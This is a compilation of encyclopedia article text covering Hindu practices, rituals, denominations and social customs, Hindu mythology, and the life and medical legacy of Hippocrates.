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          Hindu practices generally involve seeking awareness of God and sometimes also seeking blessings from Devas. Therefore, Hinduism has developed numerous practices meant to help one think of divinity in the midst of everyday life. Hindus can engage in pūjā (worship or veneration),) either at home or at a temple. At home, Hindus often create a shrine with icons dedicated to the individual's chosen form(s) of God. Temples are usually dedicated to a primary deity along with associated subordinate deities though some commemorate multiple deities. Visiting temples is not obligatory. In fact, many visit temples only during religious festivals. Hindus perform their worship through icons (murtis). The icon serves as a tangible link between the worshiper and God. The image is often considered a manifestation of God, since God is immanent. The Padma Purana states that the mūrti is not to be thought of as mere stone or wood but as a manifest form of the Divinity. A few Hindu sects, such as the Ārya Samāj, do not believe in worshiping God through icons.


          Hinduism has a developed system of symbolism and iconography to represent the sacred in art, architecture, literature and worship. These symbols gain their meaning from the scriptures, mythology, or cultural traditions. The syllable Om (which represents the Parabrahman) and the Swastika sign (which symbolizes auspiciousness) have grown to represent Hinduism itself, while other markings such as tilaka identify a follower of the faith. Hinduism associates many symbols, which include the lotus, chakra and veena, with particular deities.


          Mantras are invocations, praise and prayers that through their meaning, sound, and chanting style help a devotee focus the mind on holy thoughts or express devotion to God/the deities. Many devotees perform morning ablutions at the bank of a sacred river while chanting the Gayatri Mantra or Mahamrityunjaya mantras. The epic Mahabharata extolls Japa (ritualistic chanting) as the greatest duty in the Kali Yuga (what Hindus believe to be the current age). Many adopt Japa as their primary spiritual practice.


          


          Rituals
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          The vast majority of Hindus engage in religious rituals on a daily basis. Most Hindus observe religious rituals at home. However, observation of rituals greatly vary among regions, villages, and individuals. Devout Hindus perform daily chores such as worshiping at the dawn after bathing (usually at a family shrine, and typically includes lighting a lamp and offering foodstuffs before the images of deities), recitation from religious scripts, singing devotional hymns, meditation, chanting mantras, reciting scriptures etc. A notable feature in religious ritual is the division between purity and pollution. Religious acts presuppose some degree of impurity or defilement for the practitioner, which must be overcome or neutralised before or during ritual procedures. Purification, usually with water, is thus a typical feature of most religious action. Other characteristics include a belief in the efficacy of sacrifice and concept of merit, gained through the performance of charity or good works, that will accumulate over time and reduce sufferings in the next world. Vedic rites of fire-oblation ( yajna) are now only occasional practices although they are highly revered in theory. In Hindu wedding and burial ceremonies, however, the yaja and chanting of Vedic mantras are still the norm.


          Occasions like birth, marriage, and death involve what are often elaborate sets of religious customs. In Hinduism, life-cycle rituals include Annaprashan (a baby's first intake of solid food), Upanayanam ("sacred thread ceremony" undergone by upper-caste children at their initiation into formal education.), Shraadh (ritual of treating people to feasts in the name of the deceased). For most people in India, the betrothal of the young couple and the exact date and time of the wedding are matters decided by the parents in consultation with astrologers. On death, cremation is considered obligatory for all except sanyasis, hijra, and children under five. Cremation is typically performed by wrapping the corpse in cloth and burning it on a pyre.


          


          Pilgrimage and festivals
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          Pilgrimage is not mandatory in Hinduism though many adherents undertake them. Hindus recognise several Indian holy cities, including Allahabad, Haridwar, Varanasi, and Vrindavan. Notable temple cities include Puri, which hosts a major Vaishnava Jagannath temple and Rath Yatra celebration; Tirumala - Tirupati, home to the Tirumala Venkateswara Temple; and Katra, home to the Vaishno Devi temple. The four holy sites Puri, Rameswaram, Dwarka, and Badrinath (or alternatively the Himalayan towns of Badrinath, Kedarnath, Gangotri, and Yamunotri) compose the Char Dham (four abodes) pilgrimage circuit. The Kumbh Mela (the "pitcher festival") is one of the holiest of Hindu pilgrimages that is held every four years; the location is rotated among Allahabad, Haridwar, Nashik, and Ujjain. Another important set of pilgrimages are the Shakti Peethas, where the Mother Goddess is worshipped, the two principal ones being Kalighat and Kamakhya.


          Hinduism has many festivals throughout the year. The Hindu calendar usually prescribe their dates. The festivals typically celebrate events from Hindu mythology, often coinciding with seasonal changes. There are festivals which are primarily celebrated by specific sects or in certain regions of the Indian subcontinent. Some widely observed Hindu festivals are Maha Shivaratri, Holi, Ram Navami, Krishna Janmastami, Ganesh Chaturthi, Dussera or Durga Puja, Diwali (the festival of lights).


          


          Society


          


          Denominations
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          Hinduism has no central doctrinal authority and many practising Hindus do not claim to belong to any particular denomination. However, academics categorize contemporary Hinduism into four major denominations: Vaishnavism, Shaivism, Shaktism and Smartism. The denominations differ primarily in the God worshipped as the Supreme One and in the traditions that accompany worship of that God.


          Vaishnavas worship Vishnu as the supreme God; Shaivites worship Shiva as the supreme; Shaktas worship Shakti (power) personified through a female divinity or Mother Goddess, Devi; while Smartists believe in the essential oneness of five deities Shanmata as personifications of the Supreme.


          Other denominations like Ganapatya (the cult of Ganesha) and Saura ( Sun worship) are not so widespread.


          There are movements that are not easily placed in any of the above categories, such as Swami Dayananda Saraswati's Arya Samaj, which rejects image worship and veneration of multiple deities. It focuses on the Vedas and the Vedic fire sacrifices ( yaja). The Tantric traditions have various sects, as Banerji observes:


          
            
              	

              	Tantras are... also divided as āstika or Vedic and nāstika or non-Vedic. In accordance with the predominance of the deity the āstika works are again divided as Śākta (Shakta), Śaiva (Shaiva), Saura, Gāṇapatya and Vaiṣṇava (Vaishnava).

              	
            

          


          As in every religion, some view their own denomination as superior to others. However, many Hindus consider other denominations to be legitimate alternatives to their own. Heresy is therefore generally not an issue for Hindus.


          


          Ashramas


          Traditionally the life of a Hindu is divided into four Āshramas (phases or stages; unrelated meanings include monastery).


          The first part of one's life, Brahmacharya, the stage as a student, is spent in celibate, controlled, sober and pure contemplation under the guidance of a Guru, building up the mind for spiritual knowledge. Grihastha is the householder's stage, in which one marries and satisfies kāma and artha in one's married and professional life respectively (see the goals of life). The moral obligations of a Hindu householder include supporting one's parents, children, guests and holy figures. Vānaprastha, the retirement stage, is gradual detachment from the material world. This may involve giving over duties to one's children, spending more time in religious practices and embarking on holy pilgrimages. Finally, in Sannyāsa, the stage of asceticism, one renounces all worldly attachments to secludedly find the Divine through detachment from worldly life and peacefully shed the body for Moksha.


          


          Monasticism


          Some Hindus choose to live a monastic life (Sannyāsa) in pursuit of liberation or another form of spiritual perfection. Monastics commit themselves to a life of simplicity, celibacy, detachment from worldly pursuits, and the contemplation of God. A Hindu monk is called a sanyāsī, sādhu, or swāmi. A female renunciate is called a sanyāsini. Renunciates receive high respect in Hindu society because their outward renunciation of selfishness and worldliness serves as an inspiration to householders who strive for mental renunciation. Some monastics live in monasteries, while others wander from place to place, trusting in God alone to provide for their needs. It is considered a highly meritorious act for a householder to provide sādhus with food or other necessaries. Sādhus strive to treat all with respect and compassion, whether a person may be poor or rich, good or wicked, and to be indifferent to praise, blame, pleasure, and pain.


          


          Varnas and the caste system


          Hindu society has traditionally been categorized into four classes, called Varnas (Sanskrit: "colour, form, appearance");


          
            	the Brahmins: teachers and priests;


            	the Kshatriyas: warriors, nobles, and kings;


            	the Vaishyas: farmers, merchants, and businessmen; and


            	the Shudras: servants and labourers.

          


          Hindus and scholars debate whether the caste system is an integral part of Hinduism sanctioned by the scriptures or an outdated social custom. Although the scriptures, since the Rigveda ( 10.90), contain passages that clearly sanction the Varna system, they contain indications that the caste system is not an essential part of the religion. Both sides in the debate can find scriptural support for their views. The oldest scriptures, the Vedas, strongly sustain the division of society into four classes (varna) but place little emphasis on the caste system, showing that each individual should find his strengths through different ways such as his astrological signs, actions, personality, and appearance, and do his job for the good of that individual as well as society. Being casted into a class because of what parents he was born from was a political problem and not from the actual science of the religion. A verse from the Rig Veda indicates that a person's occupation was not necessarily determined by that of his family:


          
            
              	

              	"I am a bard, my father is a physician, my mother's job is to grind the corn." (Rig Veda 9.112.3)

              	
            

          


          In the Vedic Era, there was no prohibition against the Shudras listening to the Vedas or participating in any religious rite, as was the case in the later times. Some mobility and flexibility within the varnas challenge allegations of social discrimination in the caste system, as has been pointed out by several sociologists.


          Many social reformers, including Mahatma Gandhi and B. R. Ambedkar, criticized caste discrimination. The religious teacher Sri Ramakrishna (1836-1886) taught that


          
            
              	

              	"Lovers of God do not belong to any caste... . A brahmin without this love is no longer a brahmin. And a pariah with the love of God is no longer a pariah. Through bhakti (devotion to God) an untouchable becomes pure and elevated."

              	
            

          


          


          Ahimsa and vegetarianism


          Hindus advocate the practice of ahiṃsā (non-violence) and respect for all life because divinity is believed to permeate all beings, including plants and non-human animals. The term ahiṃsā appears in the Upanishads, the epic Mahabharata and Ahiṃsā is the first of the five Yamas (vows of self-restraint) in Patanjali's Yoga Sutras.


          In accordance with ahiṃsā, many Hindus embrace vegetarianism to respect higher forms of life. While vegetarianism is not a requirement, it is recommended for a satvic (purifying) lifestyle. Estimates of the number of lacto vegetarians in India (includes inhabitants of all religions) vary between 20% and 42%. The food habits vary with the community and region, for example some castes having fewer vegetarians and coastal populations relying on seafood. Some Hindus avoid onion and garlic, which are regarded as rajasic foods. Some avoid meat on specific holy days.


          Observant Hindus who do eat meat almost always abstain from beef. The largely pastoral Vedic people and subsequent generations relied heavily on the cow for protein-rich milk and dairy products, tilling of fields and as a provider of fuel and fertilizer. Thus, it was identified as a caretaker and a maternal figure. Hindu society honours the cow as a symbol of unselfish giving. Cow-slaughter is legally banned in almost all states of India.


          


          Conversion


          Concepts of conversion, evangelization, and proselyzation are absent from Hindu literature and in practice have never played a significant role, though acceptance of willing converts is becoming more common. Early in its history, in the absence of other competing religions, Hindus considered everyone they came across as Hindus (Sanathan Dharm) and expected everyone they met to be Hindus. Hence, there was no need to convert into Hinduism. With the advent and rise of hierarchical and heridiatry caste system, conversion into Hinduism became problematic. As a persons position and status in society, under the caste system, was largely determined by birth, the open theory of conversion into Hinduism under Sanathan Dharm became a closed by-birth-only theory under the caste system. Although, the caste system still permitted assimilation of migrating communities into Hinduism over several generations.


          The modern view of conversions into Hinduism is influenced by the demise of caste system combined with the persistence of age old ideas of Sanathan Dharm. Hindus today continue to be influenced by historical ideas of acceptability of conversion. Hence, many Hindus continue to believe that Hinduism is an identity that can only be had from birth, while many others continue to believe that anyone who follows Hindu beliefs and practices is a Hindu, and many believe in some form of both theories. However, as a reaction to perceived and actual threat of evangelization, prozelyzation, and conversion activities of other major religions many modern Hindus are opposed to the idea of conversion from (any) one religion to (any) other per se.


          Hindus in Western countries generally accept and welcome willing converts; while as, in India acceptance of willing converts is becoming more common. With the rise of Hindu Revivalist movements, reconversions into Hinduism have also picked up pace. Reconversions are well accepted since conversion out of Hinduism is not recognized. Conversion into Hinduism through marriage is well accepted and often expected in order to enable the non-Hindu partner to fully participate in their spiritual, religious, and cultural roles within the larger Hindu family and society.


          There is no formal process for converting to Hinduism, although in many traditions a ritual called dīkshā ("initiation") marks the beginning of spiritual life after conversion and a ritual called suddhi ("purification") marks the return to spiritual life after reconversion. Most Hindu sects do not seek converts because they believe that the goals of spiritual life can be attained through any religion, as long as it is practiced sincerely. However, some Hindu sects and affiliates such as Vedanta Society, Arya Samaj, International Society for Krishna Consciousness, and the Self-Realization Fellowship accept those who have a desire to follow Hinduism.


          In general, Hindu view of religious freedom is not based on the freedom to proselytize, but the right to retain ones religion and not be subject to proselyzation. Hindu leaders are advocating for changing the existing formulation of the freedom of religion clause in the Universal Declaration of Human Rights since it favors religions which proselytize.


          


          
            Retrieved from " http://en.wikipedia.org/wiki/Hinduism"
          


          

        

      

    


    


    
      This article (see wikipedia.org for authors and sources) is made available under the GNUFreeDocumentationLicense.
    

  


  
    
      
        

        Hindu mythology


        
          

          
            
              	Articles about Mythology:
            


            
              	[image: ]In its broadest academic sense, the word "myth" simply means a traditional story, whether true or false. ( OED, Princeton Wordnet) Unless otherwise noted, the words "mythology" and "myth" are here used for sacred and traditional narratives, with no implication that any belief so embodied is itself either true or false.
            

          


          Hindu mythology is the large body of mythology related to Hinduism, notably as contained in Sanskrit literature, such as the Sanskrit epics and the Puranas. As such, it is a subset of Indian mythology.


          



          Vedic mythology


          The roots of mythology that evolved from classical Hinduism come from the times of the Vedic civilization, from the ancient Vedic religion.


          The characters, theology, philosophy and stories that make up ancient Vedic myths are indelibly linked with Hindu beliefs. The Vedas are said to be four in number, namely RigVeda, YajurVeda, SamaVeda, and the AtharvaVeda. Some of these texts mention mythological concepts and machines very much similar to modern day scientific theories and machines.


          


          Epics


          The two great Hindu Epics, the Ramayana and the Mahabharata tell the story of two specific incarnations of Vishnu (Rama and Krishna). These two works are known as Itihasa. The epics Mahabharata and Ramayana serve as both religious scriptures and a rich source of philosophy and morality for a Hindu. The epics are divided into chapters and contain various short stories and moral situations, where the character takes a certain course of action in accordance with Hindu laws and codes of righteousness. The most famous of these chapters is the Bhagavad Gita (Sanskrit: The Lord's Song) in the Mahabharata, in which Lord Krishna explains the concepts of duty and righteousness to the hero Arjuna before the climactic battle. These stories are deeply embedded in Hindu philosophy and serve as parables and sources of devotion for Hindus. The Mahabharata is the world's longest epic in verse, running to more than 30,000 lines.


          


          Cosmology


          Hinduism presents a number of accounts pertaining to cosmology, and several explanations have been given as regards the origin of the universe. The most popular belief is that the universe emerged from Hiranyagarbha, meaning the golden womb. Hiranyagarbha floated around in water in the emptiness and the darkness of non-existence. Ultimately, this golden egg split and the cosmos was created. Swarga emerged from the golden upper part of the Hiranyagarbha, whereas Prithvi came out from the silver coloured lower half part.


          


          The wars


          


          The weapons


          Apart from the traditional human weapons like swords, daggers, spears, clubs, shields, bows, arrows and maces, and the weapons used by the Gods (such as Indra's thunderbolt Vajrayudha), the texts mention the utilization of various divine weapons by various heroes, each associated with a certain God or deity. These weapons are most often gifted to semi-divine beings, human beings or the rakshasas by the Gods, sometimes as a result of penance.


          There are several weapons which were believed to be used by the Gods of the Hindu mythology, some of which are Agneyastra, Brahmastra, Chakram, Garudastra, Kaumodaki, Narayanastra, Pashupata, Shiva Dhanush, Sudarshana Chakra, Trishul, Vaishnavastra, Varunastra, and Vayavastra.


          Some of these weapons are explicitly classified ( for example, the Shiva Dhanush is a bow, the Sudharshan Chakra is a discus and the Trishul is a trident), but many other weapons appear to be weapons specially blessed by the Gods. For example, the Brahmastra, Agneyastra (Sanskrit: Astra = divine weapon) and the other astras appear to be single use weapons requiring an intricate knowledge of use, often depicted in art, literature and adapted filmography as divinely blessed arrows.


          Sometimes the astra is descriptive of the function, or of the force of nature which it invokes. The Mahabharata cites instances when the Nagastra (Sanskrit: Nag=snake) was used, and thousands of snakes came pouring down from the skies on unsuspecting enemies. Similarly, the Agneyastra ( Agni) is used for setting the enemy ablaze, as the Varunastra ( Varuna) is used for extinguishing flames, or for invoking floods. Some weapons like the Brahmastra can only be used (lethally) against a single individual.


          Apart from the astras, other instances of divine or mythological weaponry include armor ( Kavacha), crowns and helmets, staffs and jewelery ( Kundala).


          


          The Deluge


          The story of a great flood is mentioned in ancient Hindu texts, particularly the Satapatha Brahmana. It is compared to the accounts of the Deluge found in several religions and cultures. Manu was informed of the impending flood and was protected by the Matsya Avatara of Lord Vishnu, who had manifested himself in this form to rid the world of morally depraved human beings and protect the pious, as also all animals and plants.


          After the flood the Lord inspires the Manusmriti, largely based upon the Vedas, which details the moral code of conduct, of living and the division of society according to the caste system.


          


          The peoples of the epics


          Hindu mythology is not only about Gods and men, but classifies a host of different kinds of celestial, ethereal and earthly beings.


          


          Sapta Rishis


          Lord Brahma, out of his thought, creates seven sages, or Sapta Rishis, to help him in his act of creation. Sapta Rishis (sapta means seven and rishis means sages in Sanskrit). They are Bhrigu, Angira, Atri, Gautama, Kashyapa, Vashishta, and Agastya. The other meaning of Saptarishis is constellation of Great Bear ( Ursa Major).


          


          Pitrs


          The Pitrs, or fathers, were the first humans. Pitrs comes from the word Pita(In Hindi and Sanskrit) or Father. So it is about paternity and paternal relations.


          


          Worlds


          Hindu mythology defines fourteen worlds (not to be confused with planets) - seven higher worlds (heavens) and seven lower ones (hells). (The earth is considered the lowest of the seven higher worlds.) All the worlds except the earth are used as temporary places of stay as follows: upon one's death on earth, the god of death (officially called 'Yama Dharma Raajaa' - Yama, the lord of justice) tallies the person's good/bad deeds while on earth and decides if the soul goes to heaven and/or hell, for how long, and in what capacity. Some versions of the mythology state that good and bad deeds neutralize each other and the soul therefore spends time in either a heaven or a hell, but not both, whereas according to another school of thought, the good and bad deeds don't cancel out each other. In either case, the soul acquires a body as appropriate to the worlds it enters. At the end of the soul's time in those worlds, it returns to the earth (is reborn as a life form on the earth). It is considered that only from the earth, and only after a human life, can the soul reach supreme salvation, the state free from the cycle of birth and death and the place beyond the fourteen worlds where the eternal god lives.


          


          Gods and goddesses


          There are many deities in Hinduism. At the top are the trimurti: Shiva (the destroyer), Vishnu (the protector), and Brahma (the creator), and their wives (goddesses in their own right): Shakti (also known as Paarvathi, Ambicaa) the goddess of courage and power, Lakshmi the goddess of all forms of wealth, and Saraswathi the goddess of learning. The children of the Trimurti are also devas, such as Ganesha and Skanda.


          Brahma is considered the ruler of the highest of the heavens (the world called Sathya), so in one sense, Brahma is not beyond the fourteen worlds as Shiva and Vishnu are.


          Some gods are associated with specific elements or functions: Indra (the god of thunder and lightning; he also rules the world of Swarga), Varuna (the god of the oceans), Agni (the god of fire), Kubera (the treasurer of the gods), Surya (the sun god), Vaayu (the god of wind), and Soma (the moon god).


          Swarga also has a set of famous heavenly dancers: Urvasi, Menaka, Rambha, and Tilottama (all female), whose job is to entertain the heavenly court, and upon orders from the heavenly kings, to distract people on the earth from accumulating too much good deeds so as to become a threat to the heavenly kings.


          Other notable inhabitants of the heavens include the celestial sages, and Naaradha the messenger of the gods.


          Yama (the god of death and justice) is said to live in Kailash along with his master Shiva. He rules the lower world of Naraka with a band of emissaries called the Yama duta (messengers of Yama), who bring the souls of dead persons to Yama for evaluation. Chitragupta is one of those lower level celestial beings who functions as the karmic accountant of all the actions of the human beings on earth.


          


          Incarnations


          Several gods are believed to have had incarnations ( avatars). As the protector of life, one of the duties of Vishnu is to appear on the earth whenever a firm hand is required to set things right. The epic Bhagavatham is the chronology of Vishnu's ten major incarnations (there are totally twenty six incarnations): Matsya (fish), Kurma (turtle), Varaha (boar), Narasimha (lion-faced human), Vamana (an ascetic in the form of a midget), Parasurama (a militant Brahmin), Rama, Krishna,Gautam Buddha(later budhists separated themselves from hindus), Kalki (a predicted warrior on a white horse who would come in this yuga ) whose appearance also signals the beginning of the end of the epoch.


          


          House of Ikshvaku


          Ikshvaku was the son of Manu,the first mortal man, and founder of the Sun Dynasty.


          


          Bharatavarsha


          The first king to conquer all of the world was Bharata, son of Dushyanta and Shakuntala. All of this world, Vishwa, is named Bharatavarsha, or The Land of Bharata, or The Cherished Land.


          King Bharata's conquests are described to have stretched over all of modern India, and Pakistan, Bangladesh and Nepal, as well as the ancient Gandhara region of Afghanistan. No account has been known to exceed these geographical boundaries.
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              	Born

              	ca. 460 BC

              Kos, Greece
            


            
              	Died

              	ca. 370 BC

              Kos, Greece
            


            
              	Occupation

              	Physician
            

          


          Hippocrates of Cos II or Hippokrates of Kos (ca. 460 BC  ca. 370 BC) - Greek: Ἱά; Hippokrtēs was an ancient Greek physician of the Age of Pericles, and was considered one of the most outstanding figures in the history of medicine. He is referred to as the " father of medicine" in recognition of his lasting contributions to the field as the founder of the Hippocratic school of medicine. This intellectual school revolutionized medicine in ancient Greece, establishing it as a discipline distinct from other fields that it had traditionally been associated with (notably theurgy and philosophy), thus making medicine a profession.


          However, the achievements of the writers of the Corpus, the practitioners of Hippocratic medicine, and the actions of Hippocrates himself are often commingled; thus very little is known about what Hippocrates actually thought, wrote and did. Nevertheless, Hippocrates is commonly portrayed as the paragon of the ancient physician. In particular, he is credited with greatly advancing the systematic study of clinical medicine, summing up the medical knowledge of previous schools, and prescribing practices for physicians through the Hippocratic Oath and other works.


          


          Biography
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              Asklepieion on Kos
            

          


          Historians accept that Hippocrates was born around the year 460 BC on the Greek island of Kos (Cos), and became a famous physician and teacher of medicine. Other biographical information, however, is apocryphal and likely to be untrue (see Legends). Soranus of Ephesus, a 2nd-century Greek gynecologist, was Hippocrates's first biographer and is the source of most information on Hippocrates' person. Information about Hippocrates can also be found in the writings of Aristotle, which date from the 4th century BC, in the Suda of the 10th century AD, and in the works of John Tzetzes, which date from the 12th century AD. Soranus stated that Hippocrates's father was Heraclides, a physician; his mother was Praxitela, daughter of Phenaretis. The two sons of Hippocrates, Thessalus and Draco, and his son-in-law, Polybus, were his students. According to Galen, a later physician, Polybus was Hippocratess true successor, while Thessalus and Draco each had a son named Hippocrates.


          Soranus said that Hippocrates learned medicine from his father and grandfather, and studied other subjects with Democritus and Gorgias. Hippocrates was probably trained at the asklepieion of Kos, and took lessons from the Thracian physician Herodicus of Selymbria. The only contemporaneous mention of Hippocrates is in Plato's dialogue Protagoras, where Plato describes Hippocrates as "Hippocrates of Kos, the Asclepiad". Hippocrates taught and practiced medicine throughout his life, traveling at least as far as Thessaly, Thrace, and the Sea of Marmara. He probably died in Larissa at the age of 83 or 90, though some accounts say he lived to be well over 100; several different accounts of his death exist.


          


          Hippocratic theory


          
            
              	"It is thus with regard to the disease called Sacred [epilepsy]: it appears to me to be nowise more divine nor more sacred than other diseases, but has a natural cause from the originates like other affections. Men regard its nature and cause as divine from ignorance and wonder..."

              On the Sacred Disease
            

          


          Hippocrates is credited with being the first physician to reject superstitions and beliefs that credited supernatural or divine forces with causing illness. Hippocrates was credited by the disciples of Pythagoras of allying philosophy and medicine. He separated the discipline of medicine from religion, believing and arguing that disease was not a punishment inflicted by the gods but rather the product of environmental factors, diet and living habits. Indeed there is not a single mention of a mystical illness in the entirety of the Hippocratic Corpus. However, Hippocrates did work with many convictions that were based on what is now known to be incorrect anatomy and physiology, such as Humorism.


          Ancient Greek schools of medicine were split (into the Knidian and Koan) on how to deal with disease. The Knidian school of medicine focused on diagnosis, but was dependent on many faulty assumptions about the human body: Greek medicine at the time of Hippocrates knew almost nothing of human anatomy and physiology because of the Greek taboo forbidding the dissection of humans. The Knidian school consequently failed to distinguish when one disease caused many possible series of symptoms. The Hippocratic school or Koan school achieved greater success by applying general diagnoses and passive treatments. Its focus was on patient care and prognosis, not diagnosis. It could effectively treat diseases and allowed for a great development in clinical practice.


          Hippocratic medicine and its philosophy are far removed from that of modern medicine. Now, the physician focuses on specific diagnosis and specialized treatment, both of which were espoused by the Knidian school. This shift in medical thought since Hippocrates's day has caused serious criticism over the past two millennia, with the passivity of Hippocratic treatment being the subject of particularly strong denunciations; for example, the French doctor M. S. Houdart called the Hippocratic treatment a "meditation upon death".


          


          Humorism and crisis


          The Hippocratic school held that all illness was the result of an imbalance in the body of the four humours, fluids which in health were naturally equal in proportion (pepsis). When the four humours, blood, black bile, yellow bile and phlegm, were not in balance (dyscrasia, meaning "bad mixture"), a person would become sick and remain that way until the balance was somehow restored. Hippocratic therapy was directed towards restoring this balance. For instance, using citrus was thought to be beneficial when phlegm was overabundant.


          Another important concept in Hippocratic medicine was that of a crisis, a point in the progression of disease at which either the illness would begin to triumph and the patient would succumb to death, or the opposite would occur and natural processes would make the patient recover. After a crisis, a relapse might follow, and then another deciding crisis. According to this doctrine, crises tend to occur on critical days, which were supposed to be a fixed time after the contraction of a disease. If a crisis occurred on a day far from a critical day, a relapse might be expected. Galen believed that this idea originated with Hippocrates, though it is possible that it predated him.


          


          Hippocratic therapy
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          Hippocratic medicine was humble and passive. The therapeutic approach was based on "the healing power of nature" ("vis medicatrix naturae" in Latin). According to this doctrine, the body contains within itself the power to re-balance the four humours and heal itself (physis). Hippocratic therapy focused on simply easing this natural process. To this end, Hippocrates believed "rest and immobilization [were] of capital importance". In general, the Hippocratic medicine was very kind to the patient; treatment was gentle, and emphasized keeping the patient clean and sterile. For example, only clean water or wine were ever used on wounds, though "dry" treatment was preferable. Soothing balms were sometimes employed.


          Hippocrates was reluctant to administer drugs and engage in specialized treatment that might prove to be wrongly chosen; generalized therapy followed a generalized diagnosis. Potent drugs were, however, used on certain occasions. This passive approach was very successful in treating relatively simple ailments such as broken bones which required traction to stretch the skeletal system and relieve pressure on the injured area. The Hippocratic bench and other devices were used to this end.


          One of the strengths of Hippocratic medicine was its emphasis on prognosis. At Hippocrates's time, medicinal therapy was quite immature, and often the best thing that physicians could do was to evaluate an illness and induce its likely progression based upon data collected in detailed case histories.


          


          Professionalism
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          Hippocratic medicine was notable for its strict professionalism, discipline and rigorous practice. The Hippocratic work On the Physician recommends that physicians always be well-kempt, honest, calm, understanding, and serious. The Hippocratic physician paid careful attention to all aspects of his practice: he followed detailed specifications for, "lighting, personnel, instruments, positioning of the patient, and techniques of bandaging and splinting" in the ancient operating room. He even kept his fingernails to a precise length.


          The Hippocratic School gave importance to the clinical doctrines of observation and documentation. These doctrines dictate that physicians record their findings and their medicinal methods in a very clear and objective manner, so that these records may be passed down and employed by other physicians. Hippocrates made careful, regular note of many symptoms including complexion, pulse, fever, pains, movement, and excretions. He is said to have measured a patient's pulse when taking a case history to know if the patient lied. Hippocrates extended clinical observations into family history and environment. "To him medicine owes the art of clinical inspection and observation". For this reason, he may more properly be termed as the "Father of Clinical Medicine".


          


          Direct contributions to medicine
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          Hippocrates and his followers were first to describe many diseases and medical conditions. He is given credit for the first description of clubbing of the fingers, an important diagnostic sign in chronic suppurative lung disease, lung cancer and cyanotic heart disease. For this reason, clubbed fingers are sometimes referred to as "Hippocratic fingers". Hippocrates was also the first physician to describe Hippocratic face in Prognosis. Shakespeare famously alludes to this description when writing of Falstaff's death in Act II, Scene iii. of Henry V.


          Hippocrates began to categorize illnesses as acute, chronic, endemic and epidemic, and use terms such as, "exacerbation, relapse, resolution, crisis, paroxysm, peak, and convalescence." Another of Hippocrates's major contributions may be found in his descriptions of the symptomatology, physical findings, surgical treatment and prognosis of thoracic empyema, i.e. suppuration of the lining of the chest cavity. His teachings remain relevant to present-day students of pulmonary medicine and surgery. Hippocrates was the first documented chest surgeon and his findings are still valid.


          


          Hippocratic Corpus
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          The Hippocratic Corpus (Latin: Corpus Hippocraticum) is a collection of around seventy early medical works from ancient Greece, written in Ionic Greek. The question of whether Hippocrates himself was the author of the corpus has not been conclusively answered, but the volumes were probably produced by his students and followers. Because of the variety of subjects, writing styles and apparent date of construction, scholars believe Hippocratic Corpus could not have been written by one person ( Ermerins numbers the authors at nineteen). The corpus was attributed to Hippocrates in antiquity, and its teaching generally followed principles of his; thus it came to be known by his name. It might be the remains of a library of Kos, or a collection compiled in the 3rd century BC in Alexandria.


          The Hippocratic Corpus contains textbooks, lectures, research, notes and philosophical essays on various subjects in medicine, in no particular order. These works were written for different audiences, both specialists and laymen, and were sometimes written from opposing view points; significant contradictions can be found between works in the Corpus. Notable among the treatises of the Corpus are The Hippocratic Oath; The Book of Prognostics; On Regimen in Acute Diseases; Aphorisms; On Airs, Waters and Places; Instruments of Reduction; On The Sacred Disease; etc.


          


          Hippocratic Oath


          The Hippocratic Oath, a seminal document on the ethics of medical practice, was attributed to Hippocrates in antiquity. This is probably the most famous document of the Hippocratic Corpus. Recently the authenticity of the document has come under scrutiny. While the Oath is rarely used in its original form today, it serves as a foundation for other, similar oaths and laws that define good medical practice and morals. Such derivatives are regularly taken today by medical graduates about to enter medical practice.


          


          Legacy
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          Hippocrates is widely considered to be the "Father of Medicine". His contributions revolutionized the practice of medicine; but after his death the advancement stalled. So revered was Hippocrates that his teachings were largely taken as too great to be improved upon and no significant advancements of his methods were made for a long time. The centuries after Hippocrates's death were marked as much by retrograde movement as by further advancement. For instance, "after the Hippocratic period, the practice of taking clinical case-histories died out...", according to Fielding Garrison.


          After Hippocrates, the next significant physician was Galen, a Greek who lived from 129 to 200 AD. Galen perpetuated Hippocratic medicine, moving both forward and backward. In the Middle Ages, Arabs adopted Hippocratic methods. After the European Renaissance, Hippocratic methods were revived in Europe and even further expanded in the 19th century. Notable among those who employed Hippocrates's rigorous clinical techniques were Sydenham, Heberden, Charcot and Osler. Henri Huchard, a French physician, said that these revivals make up "the whole history of internal medicine".


          


          Image
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          According to Aristotle's testimony, Hippocrates was known as "the Great Hippocrates". Concerning his disposition, Hippocrates was first portrayed as a "kind, dignified, old country doctor'" and later as "stern and forbidding". He is certainly considered wise, of very great intellect and especially as very practical. Francis Adams describes him as "strictly the physician of experience and common sense".


          His image as the wise, old doctor is reinforced by busts of him, which wear large beards on a wrinkled face. Many physicians of the time wore their hair in the style of Jove and Asklepius. Accordingly, the busts of Hippocrates that we have could be only altered versions of portraits of these deities. Hippocrates and the beliefs that he embodied are considered medical ideals. Fielding Garrison, an authority on medical history, stated, "He is, above all, the exemplar of that flexible, critical, well-poised attitude of mind, ever on the lookout for sources of error, which is the very essence of the scientific spirit". "His figure... stands for all time as that of the ideal physician, according to A Short History of Medicine, inspiring the medical profession since his death.


          


          Legends


          
            
              	"Life is short, [the] art long, opportunity fleeting, experiment treacherous, judgment difficult."

              Aphorisms i.1.
            

          


          Some stories of Hippocrates's life are likely to be untrue because of their inconsistency with historical evidence, and because similar or identical stories are told of other figures such as Avicenna and Socrates, suggesting a legendary origin. Even during his life, Hippocrates's renown was great, and stories of miraculous cures arose. For example, Hippocrates was supposed to have aided in the healing of Athenians during the Plague of Athens by lighting great fires as "disinfectants" and engaging in other treatments. There is a story of Hippocrates curing Perdiccas, a Macedonian king, of " love sickness". Neither of these accounts is corroborated by any historians and they are thus unlikely to have ever occurred. Even the honey from a beehive on his grave was believed to have healing powers.
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          Another legend concerns how Hippocrates rejected a formal request to visit the court of Artaxerxes, the King of Persia. The validity of this is accepted by ancient sources but denied by some modern ones, and is thus under contention. Another tale states that Democritus was supposed to be mad because he laughed at everything, and so he was sent to Hippocrates to be cured. Hippocrates diagnosed him as having a merely happy disposition. Democritus has since been called "the laughing philosopher".


